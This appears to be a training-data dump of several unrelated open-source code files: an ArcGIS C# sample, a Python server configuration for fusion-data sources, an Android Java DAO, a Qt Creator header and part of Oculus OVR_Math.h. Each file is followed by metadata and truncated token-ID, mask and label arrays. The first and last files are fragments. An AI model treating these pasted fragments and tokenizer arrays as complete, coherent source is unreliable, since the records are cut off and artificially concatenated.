_graphicsLayer.Graphics.Add(CreateRandomGraphic());
}
catch (Exception ex)
{
var _x = new MessageDialog("Error occurred " + ex.ToString(), "Sample error").ShowAsync();
}
}
// Create a random graphic
private Graphic CreateRandomGraphic()
{
return new Graphic()
{
Geometry = GetRandomMapPoint(),
Symbol = new SimpleMarkerSymbol()
{
Style = (SimpleMarkerStyle)_random.Next(0, 6),
Color = Colors.Red,
Size = 15
}
};
}
// Utility: Generate a random MapPoint within the current extent
private MapPoint GetRandomMapPoint()
{
// Get current viewpoints extent from the MapView
var currentViewpoint = MyMapView.GetCurrentViewpoint(ViewpointType.BoundingGeometry);
var viewpointExtent = currentViewpoint.TargetGeometry.Extent;
double x = viewpointExtent.XMin + (_random.NextDouble() * viewpointExtent.Width);
double y = viewpointExtent.YMin + (_random.NextDouble() * viewpointExtent.Height);
return new MapPoint(x, y, MyMapView.SpatialReference);
}
}
}
| sharifulgeo/arcgis-runtime-samples-dotnet | src/Phone/ArcGISRuntimeSamplesPhone/Samples/GraphicsLayers/GraphicsLayerSelection.xaml.cs | C# | apache-2.0 | 4,246 | [
30522,
2478,
9686,
3089,
1012,
8115,
17701,
15532,
7292,
1012,
7711,
1025,
2478,
9686,
3089,
1012,
8115,
17701,
15532,
7292,
1012,
10988,
1025,
2478,
9686,
3089,
1012,
8115,
17701,
15532,
7292,
1012,
9014,
1025,
2478,
9686,
3089,
1012,
8115... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Fri Feb 24 12:49:36 2017
@author: drsmith
"""
import os
from .globals import FdpError
def canonicalMachineName(machine=''):
aliases = {'nstxu': ['nstx', 'nstxu', 'nstx-u'],
'diiid': ['diiid', 'diii-d', 'd3d'],
'cmod': ['cmod', 'c-mod']}
for key, value in aliases.items():
if machine.lower() in value:
return key
# invalid machine name
raise FdpError('"{}" is not a valid machine name\n'.format(machine))
MDS_SERVERS = {
'nstxu': {'hostname': 'skylark.pppl.gov',
'port': '8000'},
'diiid': {'hostname': 'atlas.gat.com',
'port': '8000'}
}
EVENT_SERVERS = {
'nstxu': {'hostname': 'skylark.pppl.gov',
'port': '8000'},
'diiid': {'hostname': 'atlas.gat.com',
'port': '8000'},
'ltx': {'hostname': 'lithos.pppl.gov',
'port': '8000'}
}
LOGBOOK_CREDENTIALS = {
'nstxu': {'server': 'sql2008.pppl.gov',
'instance': None,
'username': None,
'password': None,
'database': None,
'port': '62917',
'table': 'entries',
'loginfile': os.path.join(os.getenv('HOME'),
'nstxlogs.sybase_login')
}
}
| Fusion-Data-Platform/fdp | fdp/lib/datasources.py | Python | mit | 1,353 | [
30522,
1001,
999,
1013,
2149,
2099,
1013,
8026,
1013,
4372,
2615,
18750,
2475,
1001,
1011,
1008,
1011,
16861,
1024,
21183,
2546,
1011,
1022,
1011,
1008,
1011,
1000,
1000,
1000,
2580,
2006,
10424,
2072,
13114,
2484,
2260,
1024,
4749,
1024,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright (c) 2014. Marshal Chen.
*/
package com.marshalchen.common.usefulModule.standuptimer.dao;
import static android.provider.BaseColumns._ID;
import java.util.ArrayList;
import java.util.List;
import com.marshalchen.common.usefulModule.standuptimer.model.Team;
import com.marshalchen.common.usefulModule.standuptimer.utils.Logger;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
public class TeamDAO extends DAOHelper {
public TeamDAO(Context ctx) {
super(ctx, DATABASE_NAME, null, DATABASE_VERSION);
}
public Team save(Team team) {
SQLiteDatabase db = getWritableDatabase();
if (team.getId() != null) {
return updateExistingTeam(db, team);
} else {
return createNewTeam(db, team);
}
}
public Team findById(Long id) {
Cursor cursor = null;
Team team = null;
try {
SQLiteDatabase db = getReadableDatabase();
cursor = db.query(TEAMS_TABLE_NAME, TEAMS_ALL_COLUMS, _ID + " = ?", new String[]{id.toString()}, null, null, null);
if (cursor.getCount() == 1) {
if (cursor.moveToFirst()) {
String name = cursor.getString(1);
team = new Team(id, name);
}
}
} finally {
closeCursor(cursor);
}
return team;
}
public Team findByName(String name) {
Cursor cursor = null;
Team team = null;
name = name.trim();
try {
SQLiteDatabase db = getReadableDatabase();
cursor = db.query(TEAMS_TABLE_NAME, TEAMS_ALL_COLUMS, TEAMS_NAME + " = ?", new String[]{name}, null, null, null);
if (cursor.getCount() == 1) {
if (cursor.moveToFirst()) {
long id = cursor.getLong(0);
name = cursor.getString(1);
team = new Team(id, name);
}
}
} finally {
closeCursor(cursor);
}
Logger.d((team == null ? "Unsuccessfully" : "Successfully") + " found team with a name of '" + name + "'");
return team;
}
public List<String> findAllTeamNames() {
List<String> teamNames = new ArrayList<String>();
Cursor cursor = null;
try {
SQLiteDatabase db = getReadableDatabase();
cursor = db.query(TEAMS_TABLE_NAME, new String[]{TEAMS_NAME}, null, null, null, null, TEAMS_NAME);
while (cursor.moveToNext()) {
teamNames.add(cursor.getString(0));
}
} finally {
closeCursor(cursor);
}
Logger.d("Found " + teamNames.size() + " teams");
return teamNames;
}
public void deleteAll() {
Logger.d("Deleting all teams");
SQLiteDatabase db = getWritableDatabase();
db.delete(TEAMS_TABLE_NAME, null, null);
}
public void delete(Team team) {
Logger.d("Deleting team with the name of '" + team.getName() + "'");
if (team.getId() != null) {
SQLiteDatabase db = getWritableDatabase();
db.delete(TEAMS_TABLE_NAME, _ID + " = ?", new String[]{team.getId().toString()});
}
}
private boolean attemptingToCreateDuplicateTeam(Team team) {
return team.getId() == null && findByName(team.getName()) != null;
}
private Team createNewTeam(SQLiteDatabase db, Team team) {
if (team.getName() == null || team.getName().trim().length() == 0) {
String msg = "Attempting to create a team with an empty name";
Logger.w(msg);
throw new InvalidTeamNameException(msg);
}
if (attemptingToCreateDuplicateTeam(team)) {
String msg = "Attempting to create duplicate team with the name " + team.getName();
Logger.w(msg);
throw new DuplicateTeamException(msg);
}
Logger.d("Creating new team with a name of '" + team.getName() + "'");
ContentValues values = new ContentValues();
values.put(TEAMS_NAME, team.getName());
long id = db.insertOrThrow(TEAMS_TABLE_NAME, null, values);
return new Team(id, team.getName());
}
private Team updateExistingTeam(SQLiteDatabase db, Team team) {
Logger.d("Updating team with the name of '" + team.getName() + "'");
ContentValues values = new ContentValues();
values.put(TEAMS_NAME, team.getName());
long id = db.update(TEAMS_TABLE_NAME, values, _ID + " = ?", new String[]{team.getId().toString()});
return new Team(id, team.getName());
}
}
| cymcsg/UltimateAndroid | deprecated/UltimateAndroidNormal/UltimateAndroid/src/com/marshalchen/common/usefulModule/standuptimer/dao/TeamDAO.java | Java | apache-2.0 | 4,747 | [
30522,
1013,
1008,
1008,
9385,
1006,
1039,
1007,
2297,
1012,
8610,
30524,
2080,
1025,
12324,
10763,
11924,
1012,
10802,
1012,
2918,
25778,
2819,
3619,
1012,
1035,
8909,
1025,
12324,
9262,
1012,
21183,
4014,
1012,
9140,
9863,
1025,
12324,
92... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**************************************************************************
**
** This file is part of Qt Creator
**
** Copyright (c) 2011 Nokia Corporation and/or its subsidiary(-ies).
**
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** No Commercial Usage
**
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
**
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**************************************************************************/
#ifndef HIGHLIGHTER_H
#define HIGHLIGHTER_H
#include "basetextdocumentlayout.h"
#include "syntaxhighlighter.h"
#include <QtCore/QString>
#include <QtCore/QVector>
#include <QtCore/QStack>
#include <QtCore/QSharedPointer>
#include <QtCore/QStringList>
#include <QtGui/QSyntaxHighlighter>
#include <QtGui/QTextCharFormat>
namespace TextEditor {
class TabSettings;
namespace Internal {
class Rule;
class Context;
class HighlightDefinition;
class ProgressData;
class Highlighter : public TextEditor::SyntaxHighlighter
{
Q_OBJECT
public:
Highlighter(QTextDocument *parent = 0);
virtual ~Highlighter();
enum TextFormatId {
Normal,
VisualWhitespace,
Keyword,
DataType,
Decimal,
BaseN,
Float,
Char,
String,
Comment,
Alert,
Error,
Function,
RegionMarker,
Others
};
void configureFormat(TextFormatId id, const QTextCharFormat &format);
void setTabSettings(const TabSettings &ts);
void setDefaultContext(const QSharedPointer<Context> &defaultContext);
protected:
virtual void highlightBlock(const QString &text);
private:
void setupDataForBlock(const QString &text);
void setupDefault();
void setupFromWillContinue();
void setupFromContinued();
void setupFromPersistent();
void iterateThroughRules(const QString &text,
const int length,
ProgressData *progress,
const bool childRule,
const QList<QSharedPointer<Rule> > &rules);
void assignCurrentContext();
bool contextChangeRequired(const QString &contextName) const;
void handleContextChange(const QString &contextName,
const QSharedPointer<HighlightDefinition> &definition,
const bool setCurrent = true);
void changeContext(const QString &contextName,
const QSharedPointer<HighlightDefinition> &definition,
const bool assignCurrent = true);
QString currentContextSequence() const;
void mapPersistentSequence(const QString &contextSequence);
void mapLeadingSequence(const QString &contextSequence);
void pushContextSequence(int state);
void pushDynamicContext(const QSharedPointer<Context> &baseContext);
void createWillContinueBlock();
void analyseConsistencyOfWillContinueBlock(const QString &text);
void applyFormat(int offset,
int count,
const QString &itemDataName,
const QSharedPointer<HighlightDefinition> &definition);
void applyRegionBasedFolding() const;
void applyIndentationBasedFolding(const QString &text) const;
int neighbouringNonEmptyBlockIndent(QTextBlock block, const bool previous) const;
// Mapping from Kate format strings to format ids.
struct KateFormatMap
{
KateFormatMap();
QHash<QString, TextFormatId> m_ids;
};
static const KateFormatMap m_kateFormats;
QHash<TextFormatId, QTextCharFormat> m_creatorFormats;
struct BlockData : TextBlockUserData
{
BlockData();
virtual ~BlockData();
int m_foldingIndentDelta;
int m_originalObservableState;
QStack<QString> m_foldingRegions;
QSharedPointer<Context> m_contextToContinue;
};
BlockData *initializeBlockData();
static BlockData *blockData(QTextBlockUserData *userData);
// Block states are composed by the region depth (used for code folding) and what I call
// observable states. Observable states occupy the 12 least significant bits. They might have
// the following values:
// - Default [0]: Nothing special.
// - WillContinue [1]: When there is match of the LineContinue rule (backslash as the last
// character).
// - Continued [2]: Blocks that happen after a WillContinue block and continue from their
// context until the next line end.
// - Persistent(s) [Anything >= 3]: Correspond to persistent contexts which last until a pop
// occurs due to a matching rule. Every sequence of persistent contexts seen so far is
// associated with a number (incremented by a unit each time).
// Region depths occupy the remaining bits.
enum ObservableBlockState {
Default = 0,
WillContinue,
Continued,
PersistentsStart
};
int computeState(const int observableState) const;
static int extractRegionDepth(const int state);
static int extractObservableState(const int state);
int m_regionDepth;
bool m_indentationBasedFolding;
const TabSettings *m_tabSettings;
int m_persistentObservableStatesCounter;
int m_dynamicContextsCounter;
bool m_isBroken;
QSharedPointer<Context> m_defaultContext;
QSharedPointer<Context> m_currentContext;
QVector<QSharedPointer<Context> > m_contexts;
// Mapping from context sequences to the observable persistent state they represent.
QHash<QString, int> m_persistentObservableStates;
// Mapping from context sequences to the non-persistent observable state that led to them.
QHash<QString, int> m_leadingObservableStates;
// Mapping from observable persistent states to context sequences (the actual "stack").
QHash<int, QVector<QSharedPointer<Context> > > m_persistentContexts;
// Captures used in dynamic rules.
QStringList m_currentCaptures;
};
} // namespace Internal
} // namespace TextEditor
#endif // HIGHLIGHTER_H
| yinyunqiao/qtcreator | src/plugins/texteditor/generichighlighter/highlighter.h | C | lgpl-2.1 | 6,976 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/************************************************************************************
PublicHeader: OVR.h
Filename : OVR_Math.h
Content : Implementation of 3D primitives such as vectors, matrices.
Created : September 4, 2012
Authors : Andrew Reisse, Michael Antonov, Steve LaValle, Anna Yershova
Copyright : Copyright 2012 Oculus VR, Inc. All Rights reserved.
Use of this software is subject to the terms of the Oculus license
agreement provided at the time of installation or download, or which
otherwise accompanies this software in either electronic or hard copy form.
*************************************************************************************/
#ifndef OVR_Math_h
#define OVR_Math_h
#include <assert.h>
#include <stdlib.h>
#include <math.h>
#include "OVR_Types.h"
#include "OVR_RefCount.h"
namespace OVR {
//-------------------------------------------------------------------------------------
// Constants for 3D world/axis definitions.
// Definitions of axes for coordinate and rotation conversions.
enum Axis
{
Axis_X = 0, Axis_Y = 1, Axis_Z = 2
};
// RotateDirection describes the rotation direction around an axis, interpreted as follows:
// CW - Clockwise while looking "down" from positive axis towards the origin.
// CCW - Counter-clockwise while looking from the positive axis towards the origin,
// which is in the negative axis direction.
// CCW is the default for the RHS coordinate system. Oculus standard RHS coordinate
// system defines Y up, X right, and Z back (pointing out from the screen). In this
// system Rotate_CCW around Z will specifies counter-clockwise rotation in XY plane.
enum RotateDirection
{
Rotate_CCW = 1,
Rotate_CW = -1
};
enum HandedSystem
{
Handed_R = 1, Handed_L = -1
};
// AxisDirection describes which way the axis points. Used by WorldAxes.
enum AxisDirection
{
Axis_Up = 2,
Axis_Down = -2,
Axis_Right = 1,
Axis_Left = -1,
Axis_In = 3,
Axis_Out = -3
};
struct WorldAxes
{
AxisDirection XAxis, YAxis, ZAxis;
WorldAxes(AxisDirection x, AxisDirection y, AxisDirection z)
: XAxis(x), YAxis(y), ZAxis(z)
{ OVR_ASSERT(abs(x) != abs(y) && abs(y) != abs(z) && abs(z) != abs(x));}
};
//-------------------------------------------------------------------------------------
// ***** Math
// Math class contains constants and functions. This class is a template specialized
// per type, with Math<float> and Math<double> being distinct.
template<class Type>
class Math
{
};
// Single-precision Math constants class.
template<>
class Math<float>
{
public:
static const float Pi;
static const float TwoPi;
static const float PiOver2;
static const float PiOver4;
static const float E;
static const float MaxValue; // Largest positive float Value
static const float MinPositiveValue; // Smallest possible positive value
static const float RadToDegreeFactor;
static const float DegreeToRadFactor;
static const float Tolerance; // 0.00001f;
static const float SingularityRadius; //0.00000000001f for Gimbal lock numerical problems
};
// Double-precision Math constants class.
template<>
class Math<double>
{
public:
static const double Pi;
static const double TwoPi;
static const double PiOver2;
static const double PiOver4;
static const double E;
static const double MaxValue; // Largest positive double Value
static const double MinPositiveValue; // Smallest possible positive value
static const double RadToDegreeFactor;
static const double DegreeToRadFactor;
static const double Tolerance; // 0.00001f;
static const double SingularityRadius; //0.00000000001 for Gimbal lock numerical problems
};
typedef Math<float> Mathf;
typedef Math<double> Mathd;
// Conversion functions between degrees and radians
template<class FT>
FT RadToDegree(FT rads) { return rads * Math<FT>::RadToDegreeFactor; }
template<class FT>
FT DegreeToRad(FT rads) { return rads * Math<FT>::DegreeToRadFactor; }
template<class T>
class Quat;
//-------------------------------------------------------------------------------------
// ***** Vector2f - 2D Vector2f
// Vector2f represents a 2-dimensional vector or point in space,
// consisting of coordinates x and y,
template<class T>
class Vector2
{
public:
T x, y;
Vector2() : x(0), y(0) { }
Vector2(T x_, T y_) : x(x_), y(y_) { }
explicit Vector2(T s) : x(s), y(s) { }
bool operator== (const Vector2& b) const { return x == b.x && y == b.y; }
bool operator!= (const Vector2& b) const { return x != b.x || y != b.y; }
Vector2 operator+ (const Vector2& b) const { return Vector2(x + b.x, y + b.y); }
Vector2& operator+= (const Vector2& b) { x += b.x; y += b.y; return *this; }
Vector2 operator- (const Vector2& b) const { return Vector2(x - b.x, y - b.y); }
Vector2& operator-= (const Vector2& b) { x -= b.x; y -= b.y; return *this; }
Vector2 operator- () const { return Vector2(-x, -y); }
// Scalar multiplication/division scales vector.
Vector2 operator* (T s) const { return Vector2(x*s, y*s); }
Vector2& operator*= (T s) { x *= s; y *= s; return *this; }
Vector2 operator/ (T s) const { T rcp = T(1)/s;
return Vector2(x*rcp, y*rcp); }
Vector2& operator/= (T s) { T rcp = T(1)/s;
x *= rcp; y *= rcp;
return *this; }
// Compare two vectors for equality with tolerance. Returns true if vectors match withing tolerance.
bool Compare(const Vector2&b, T tolerance = Mathf::Tolerance)
{
return (fabs(b.x-x) < tolerance) && (fabs(b.y-y) < tolerance);
}
// Dot product overload.
// Used to calculate angle q between two vectors among other things,
// as (A dot B) = |a||b|cos(q).
T operator* (const Vector2& b) const { return x*b.x + y*b.y; }
// Returns the angle from this vector to b, in radians.
T Angle(const Vector2& b) const { return acos((*this * b)/(Length()*b.Length())); }
// Return Length of the vector squared.
T LengthSq() const { return (x * x + y * y); }
// Return vector length.
T Length() const { return sqrt(LengthSq()); }
// Returns distance between two points represented by vectors.
T Distance(Vector2& b) const { return (*this - b).Length(); }
// Determine if this a unit vector.
bool IsNormalized() const { return fabs(LengthSq() - T(1)) < Math<T>::Tolerance; }
// Normalize, convention vector length to 1.
void Normalize() { *this /= Length(); }
// Returns normalized (unit) version of the vector without modifying itself.
Vector2 Normalized() const { return *this / Length(); }
// Linearly interpolates from this vector to another.
// Factor should be between 0.0 and 1.0, with 0 giving full value to this.
Vector2 Lerp(const Vector2& b, T f) const { return *this*(T(1) - f) + b*f; }
// Projects this vector onto the argument; in other words,
// A.Project(B) returns projection of vector A onto B.
Vector2 ProjectTo(const Vector2& b) const { return b * ((*this * b) / b.LengthSq()); }
};
typedef Vector2<float> Vector2f;
typedef Vector2<double> Vector2d;
//-------------------------------------------------------------------------------------
// ***** Vector3f - 3D Vector3f
// Vector3f represents a 3-dimensional vector or point in space,
// consisting of coordinates x, y and z.
template<class T>
class Vector3
{
public:
T x, y, z;
Vector3() : x(0), y(0), z(0) { }
Vector3(T x_, T y_, T z_ = 0) : x(x_), y(y_), z(z_) { }
explicit Vector3(T s) : x(s), y(s), z(s) { }
bool operator== (const Vector3& b) const { return x == b.x && y == b.y && z == b.z; }
bool operator!= (const Vector3& b) const { return x != b.x || y != b.y || z != b.z; }
Vector3 operator+ (const Vector3& b) const { return Vector3(x + b.x, y + b.y, z + b.z); }
Vector3& operator+= (const Vector3& b) { x += b.x; y += b.y; z += b.z; return *this; }
Vector3 operator- (const Vector3& b) const { return Vector3(x - b.x, y - b.y, z - b.z); }
Vector3& operator-= (const Vector3& b) { x -= b.x; y -= b.y; z -= b.z; return *this; }
Vector3 operator- () const { return Vector3(-x, -y, -z); }
// Scalar multiplication/division scales vector.
Vector3 operator* (T s) const { return Vector3(x*s, y*s, z*s); }
Vector3& operator*= (T s) { x *= s; y *= s; z *= s; return *this; }
Vector3 operator/ (T s) const { T rcp = T(1)/s;
return Vector3(x*rcp, y*rcp, z*rcp); }
Vector3& operator/= (T s) { T rcp = T(1)/s;
x *= rcp; y *= rcp; z *= rcp;
return *this; }
// Compare two vectors for equality with tolerance. Returns true if vectors match withing tolerance.
bool Compare(const Vector3&b, T tolerance = Mathf::Tolerance)
{
return (fabs(b.x-x) < tolerance) && (fabs(b.y-y) < tolerance) && (fabs(b.z-z) < tolerance);
}
// Dot product overload.
// Used to calculate angle q between two vectors among other things,
// as (A dot B) = |a||b|cos(q).
T operator* (const Vector3& b) const { return x*b.x + y*b.y + z*b.z; }
// Compute cross product, which generates a normal vector.
// Direction vector can be determined by right-hand rule: Pointing index finder in
// direction a and middle finger in direction b, thumb will point in a.Cross(b).
Vector3 Cross(const Vector3& b) const { return Vector3(y*b.z - z*b.y,
z*b.x - x*b.z,
x*b.y - y*b.x); }
// Returns the angle from this vector to b, in radians.
T Angle(const Vector3& b) const { return acos((*this * b)/(Length()*b.Length())); }
// Return Length of the vector squared.
T LengthSq() const { return (x * x + y * y + z * z); }
// Return vector length.
T Length() const { return sqrt(LengthSq()); }
// Returns distance between two points represented by vectors.
T Distance(Vector3& b) const { return (*this - b).Length(); }
// Determine if this a unit vector.
bool IsNormalized() const { return fabs(LengthSq() - T(1)) < Math<T>::Tolerance; }
// Normalize, convention vector length to 1.
void Normalize() { *this /= Length(); }
// Returns normalized (unit) version of the vector without modifying itself.
Vector3 Normalized() const { return *this / Length(); }
// Linearly interpolates from this vector to another.
// Factor should be between 0.0 and 1.0, with 0 giving full value to this.
Vector3 Lerp(const Vector3& b, T f) const { return *this*(T(1) - f) + b*f; }
// Projects this vector onto the argument; in other words,
// A.Project(B) returns projection of vector A onto B.
Vector3 ProjectTo(const Vector3& b) const { return b * ((*this * b) / b.LengthSq()); }
};
typedef Vector3<float> Vector3f;
typedef Vector3<double> Vector3d;
//-------------------------------------------------------------------------------------
// ***** Matrix4f
// Matrix4f is a 4x4 matrix used for 3d transformations and projections.
// Translation stored in the last column.
// The matrix is stored in row-major order in memory, meaning that values
// of the first row are stored before the next one.
//
// The arrangement of the matrix is chosen to be in Right-Handed
// coordinate system and counterclockwise rotations when looking down
// the axis
//
// Transformation Order:
// - Transformations are applied from right to left, so the expression
// M1 * M2 * M3 * V means that the vector V is transformed by M3 first,
// followed by M2 and M1.
//
// Coordinate system: Right Handed
//
// Rotations: Counterclockwise when looking down the axis. All angles are in radians.
//
// | sx 01 02 tx | // First column (sx, 10, 20): Axis X basis vector.
// | 10 sy 12 ty | // Second column (01, sy, 21): Axis Y basis vector.
// | 20 21 sz tz | // Third columnt (02, 12, sz): Axis Z basis vector.
// | 30 31 32 33 |
//
// The basis vectors are first three columns.
class Matrix4f
{
static Matrix4f IdentityValue;
public:
float M[4][4];
enum NoInitType { NoInit };
// Construct with no memory initialization.
Matrix4f(NoInitType) { }
// By default, we construct identity matrix.
Matrix4f()
{
SetIdentity();
}
Matrix4f(float m11, float m12, float m13, float m14,
float m21, float m22, float m23, float m24,
float m31, float m32, float m33, float m34,
float m41, float m42, float m43, float m44)
{
M[0][0] = m11; M[0][1] = m12; M[0][2] = m13; M[0][3] = m14;
M[1][0] = m21; M[1][1] = m22; M[1][2] = m23; M[1][3] = m24;
M[2][0] = m31; M[2][1] = m32; M[2][2] = m33; M[2][3] = m34;
M[3][0] = m41; M[3][1] = m42; M[3][2] = m43; M[3][3] = m44;
}
Matrix4f(float m11, float m12, float m13,
float m21, float m22, float m23,
float m31, float m32, float m33)
{
M[0][0] = m11; M[0][1] = m12; M[0][2] = m13; M[0][3] = 0;
M[1][0] = m21; M[1][1] = m22; M[1][2] = m23; M[1][3] = 0;
M[2][0] = m31; M[2][1] = m32; M[2][2] = m33; M[2][3] = 0;
M[3][0] = 0; M[3][1] = 0; M[3][2] = 0; M[3][3] = 1;
}
static const Matrix4f& Identity() { return IdentityValue; }
void SetIdentity()
{
M[0][0] = M[1][1] = M[2][2] = M[3][3] = 1;
M[0][1] = M[1][0] = M[2][3] = M[3][1] = 0;
M[0][2] = M[1][2] = M[2][0] = M[3][2] = 0;
M[0][3] = M[1][3] = M[2][1] = M[3][0] = 0;
}
// Multiplies two matrices into destination with minimum copying.
static Matrix4f& Multiply(Matrix4f* d, const Matrix4f& a, const Matrix4f& b)
{
OVR_ASSERT((d != &a) && (d != &b));
int i = 0;
do {
d->M[i][0] = a.M[i][0] * b.M[0][0] + a.M[i][1] * b.M[1][0] + a.M[i][2] * b.M[2][0] + a.M[i][3] * b.M[3][0];
d->M[i][1] = a.M[i][0] * b.M[0][1] + a.M[i][1] * b.M[1][1] + a.M[i][2] * b.M[2][1] + a.M[i][3] * b.M[3][1];
d->M[i][2] = a.M[i][0] * b.M[0][2] + a.M[i][1] * b.M[1][2] + a.M[i][2] * b.M[2][2] + a.M[i][3] * b.M[3][2];
d->M[i][3] = a.M[i][0] * b.M[0][3] + a.M[i][1] * b.M[1][3] + a.M[i][2] * b.M[2][3] + a.M[i][3] * b.M[3][3];
} while((++i) < 4);
return *d;
}
Matrix4f operator* (const Matrix4f& b) const
{
Matrix4f result(Matrix4f::NoInit);
Multiply(&result, *this, b);
return result;
}
Matrix4f& operator*= (const Matrix4f& b)
{
return Multiply(this, Matrix4f(*this), b);
}
Matrix4f operator* (float s) const
{
return Matrix4f(M[0][0] * s, M[0][1] * s, M[0][2] * s, M[0][3] * s,
M[1][0] * s, M[1][1] * s, M[1][2] * s, M[1][3] * s,
M[2][0] * s, M[2][1] * s, M[2][2] * s, M[2][3] * s,
M[3][0] * s, M[3][1] * s, M[3][2] * s, M[3][3] * s);
}
Matrix4f& operator*= (float s)
{
M[0][0] *= s; M[0][1] *= s; M[0][2] *= s; M[0][3] *= s;
M[1][0] *= s; M[1][1] *= s; M[1][2] *= s; M[1][3] *= s;
M[2][0] *= s; M[2][1] *= s; M[2][2] *= s; M[2][3] *= s;
M[3][0] *= s; M[3][1] *= s; M[3][2] *= s; M[3][3] *= s;
return *this;
}
Vector3f Transform(const Vector3f& v) const
{
return Vector3f(M[0][0] * v.x + M[0][1] * v.y + M[0][2] * v.z + M[0][3],
M[1][0] * v.x + M[1][1] * v.y + M[1][2] * v.z + M[1][3],
M[2][0] * v.x + M[2][1] * v.y + M[2][2] * v.z + M[2][3]);
}
Matrix4f Transposed() const
{
return Matrix4f(M[0][0], M[1][0], M[2][0], M[3][0],
M[0][1], M[1][1], M[2][1], M[3][1],
M[0][2], M[1][2], M[2][2], M[3][2],
M[0][3], M[1][3], M[2][3], M[3][3]);
}
void Transpose()
{
